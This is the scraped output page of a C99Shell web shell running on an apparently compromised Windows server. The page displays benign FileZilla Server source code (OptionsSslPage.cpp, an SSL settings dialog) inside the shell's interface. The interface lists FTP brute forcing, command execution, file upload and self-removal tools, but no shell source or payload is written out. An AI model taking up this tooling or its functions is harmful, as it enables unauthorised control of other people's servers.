!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\FileZillaFTP\source\interface\   drwxrwxrwx
Free 4.1 GB of 39.52 GB (10.37%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     OptionsSslPage.cpp (6.76 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// FileZilla Server - a Windows ftp server

// Copyright (C) 2002-2004 - Tim Kosse <tim.kosse@gmx.de>

// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.

// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.

#include "stdafx.h"
#include "filezilla server.h"
#include "OptionsDlg.h"
#include "OptionsPage.h"
#include "OptionsSslPage.h"
#include "GenerateCertificateDlg.h"
#include "../AsyncSslSocketLayer.h"
#include <set>

COptionsSslPage::COptionsSslPage(COptionsDlg *pOptionsDlg, CWnd* pParent /*=NULL*/)
    : COptionsPage(pOptionsDlg, COptionsSslPage::IDD, pParent)
    , m_enabled(FALSE)
    , m_allowExplicit(FALSE)
    , m_certificate(_T(""))
    , m_sslports(_T(""))
{
}

COptionsSslPage::~COptionsSslPage()
{
}

void COptionsSslPage::DoDataExchange(CDataExchange* pDX)
{
    COptionsPage::DoDataExchange(pDX);
    DDX_Check(pDX, IDC_ENABLESSL, m_enabled);
    DDX_Check(pDX, IDC_ALLOWEXPLICIT, m_allowExplicit);
    DDX_Check(pDX, IDC_FORCEEXPLICIT, m_forceExplicit);
    DDX_Check(pDX, IDC_FORCEPROTP, m_forceProtP);
    DDX_Text(pDX, IDC_CERTIFICATE, m_certificate);
    DDX_Text(pDX, IDC_PRIVATEKEY, m_key);
    DDX_Text(pDX, IDC_KEYPASS, m_pass);
    DDX_Text(pDX, IDC_SSLONLY, m_sslports);
    DDX_Control(pDX, IDC_ALLOWEXPLICIT, m_cAllowExplicit);
    DDX_Control(pDX, IDC_FORCEEXPLICIT, m_cForceExplicit);
    DDX_Control(pDX, IDC_FORCEPROTP, m_cForceProtP);
    DDX_Control(pDX, IDC_CERTIFICATE, m_cCertificate);
    DDX_Control(pDX, IDC_CERTIFICATE_BROWSE, m_cCertificateBrowse);
    DDX_Control(pDX, IDC_PRIVATEKEY, m_cKey);
    DDX_Control(pDX, IDC_PRIVATEKEY_BROWSE, m_cKeyBrowse);
    DDX_Control(pDX, IDC_SSLONLY, m_cSslports);
    DDX_Control(pDX, IDC_KEYPASS, m_cPass);
}

BEGIN_MESSAGE_MAP(COptionsSslPage, COptionsPage)
    ON_BN_CLICKED(IDC_GENERATE, OnGenerate)
    ON_BN_CLICKED(IDC_PRIVATEKEY_BROWSE, OnKeyBrowse)
    ON_BN_CLICKED(IDC_CERTIFICATE_BROWSE, OnCertificateBrowse)
    ON_BN_CLICKED(IDC_ENABLESSL, OnEnableSsl)
    ON_BN_CLICKED(IDC_ALLOWEXPLICIT, OnEnableSsl)
END_MESSAGE_MAP()

void COptionsSslPage::OnGenerate()
{
    UpdateData();
    CGenerateCertificateDlg dlg;
    if (dlg.DoModal() == IDOK)
    {
        m_key = dlg.m_file;
        m_certificate = dlg.m_file;
        UpdateData(FALSE);
    }
}

void COptionsSslPage::OnKeyBrowse()
{
    UpdateData();
    CFileDialog dlg(TRUE);
    if (dlg.DoModal() == IDOK)
    {
        m_key = dlg.GetPathName();
        UpdateData(FALSE);
    }
}

void COptionsSslPage::OnCertificateBrowse()
{
    UpdateData();
    CFileDialog dlg(TRUE);
    if (dlg.DoModal() == IDOK)
    {
        m_certificate = dlg.GetPathName();
        UpdateData(FALSE);
    }
}

void COptionsSslPage::OnEnableSsl()
{
    UpdateData();
    m_cAllowExplicit.EnableWindow(m_enabled);
    m_cCertificate.EnableWindow(m_enabled);
    m_cCertificateBrowse.EnableWindow(m_enabled && m_pOptionsDlg->IsLocalConnection());
    m_cKey.EnableWindow(m_enabled);
    m_cKeyBrowse.EnableWindow(m_enabled && m_pOptionsDlg->IsLocalConnection());
    m_cSslports.EnableWindow(m_enabled);
    m_cForceExplicit.EnableWindow(m_enabled && m_allowExplicit);
    m_cForceProtP.EnableWindow(m_enabled);
    m_cPass.EnableWindow(m_enabled);
}

BOOL COptionsSslPage::IsDataValid()
{
    USES_CONVERSION;

    UpdateData();

    std::set<int> portSet;
    bool valid = true;

    CString ports = m_sslports;
    ports.TrimLeft(_T(" ,"));

    int pos = ports.FindOneOf(_T(" ,"));
    while (pos != -1 && valid)
    {
        int port = _ttoi(ports.Left(pos));
        if (port < 1 || port > 65535)
        {
            valid = false;
            break;
        }
        else
            portSet.insert(port);
        ports = ports.Mid(pos + 1);
        ports.TrimLeft(_T(" ,"));
        pos = ports.FindOneOf(_T(" ,"));
    }
    if (valid && ports != _T(""))
    {
        int port = _ttoi(ports);
        if (port < 1 || port > 65535)
            valid = false;
        else
            portSet.insert(port);
    }

    if (!valid && m_enabled)
    {
        m_pOptionsDlg->ShowPage(this);
        m_cSslports.SetFocus();
        AfxMessageBox(_T("Invalid port found, please only enter ports in the range from 1 to 65535."));
        return FALSE;
    }

    m_sslports = _T("");
    for (std::set<int>::const_iterator iter = portSet.begin(); iter != portSet.end(); iter++)
    {
        CString tmp;
        tmp.Format(_T("%d "), *iter);
        m_sslports += tmp;
    }
    m_sslports.TrimRight(' ');
    UpdateData(false);

    if (m_enabled && m_pOptionsDlg->IsLocalConnection())
    {
        CAsyncSslSocketLayer layer;
        CString error;
        int res = layer.SetCertKeyFile(T2A(m_certificate), T2A(m_key), T2A(m_pass), &error);
        if (res == SSL_FAILURE_LOADDLLS)
        {
            m_pOptionsDlg->ShowPage(this);
            AfxMessageBox(_T("Failed to load SSL libraries"));
            return FALSE;
        }
        else if (res == SSL_FAILURE_INITSSL)
        {
            m_pOptionsDlg->ShowPage(this);
            AfxMessageBox(_T("Failed to initialize SSL libraries"));
            return FALSE;
        }
        else if (res == SSL_FAILURE_VERIFYCERT)
        {
            m_pOptionsDlg->ShowPage(this);
            if (error != _T(""))
                AfxMessageBox(error);
            else
                AfxMessageBox(_T("Failed to set certificate and private key"));
            return FALSE;
        }
        else if (res)
        {
            m_pOptionsDlg->ShowPage(this);
            return FALSE;
        }
    }

    return true;
}

void COptionsSslPage::SaveData()
{
    m_pOptionsDlg->SetOption(OPTION_ENABLESSL, m_enabled ? 1 : 0);
    m_pOptionsDlg->SetOption(OPTION_SSLKEYFILE, m_key);
    m_pOptionsDlg->SetOption(OPTION_SSLKEYPASS, m_pass);
    m_pOptionsDlg->SetOption(OPTION_SSLCERTFILE, m_certificate);
    m_pOptionsDlg->SetOption(OPTION_SSLPORTS, m_sslports);
    m_pOptionsDlg->SetOption(OPTION_ALLOWEXPLICITSSL, m_allowExplicit ? 1 : 0);
    m_pOptionsDlg->SetOption(OPTION_SSLFORCEEXPLICIT, m_forceExplicit ? 1 : 0);
    m_pOptionsDlg->SetOption(OPTION_FORCEPROTP, m_forceProtP ? 1 : 0);
}

void COptionsSslPage::LoadData()
{
    m_enabled = m_pOptionsDlg->GetOptionVal(OPTION_ENABLESSL) != 0;
    m_key = m_pOptionsDlg->GetOption(OPTION_SSLKEYFILE);
    m_pass = m_pOptionsDlg->GetOption(OPTION_SSLKEYPASS);
    m_certificate = m_pOptionsDlg->GetOption(OPTION_SSLCERTFILE);
    m_sslports = m_pOptionsDlg->GetOption(OPTION_SSLPORTS);
    m_allowExplicit = m_pOptionsDlg->GetOptionVal(OPTION_ALLOWEXPLICITSSL) != 0;
    m_forceExplicit = m_pOptionsDlg->GetOptionVal(OPTION_SSLFORCEEXPLICIT) != 0;
    m_forceProtP = m_pOptionsDlg->GetOptionVal(OPTION_FORCEPROTP) != 0;
}

BOOL COptionsSslPage::OnInitDialog()
{
    COptionsPage::OnInitDialog();

    OnEnableSsl();

    return TRUE;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--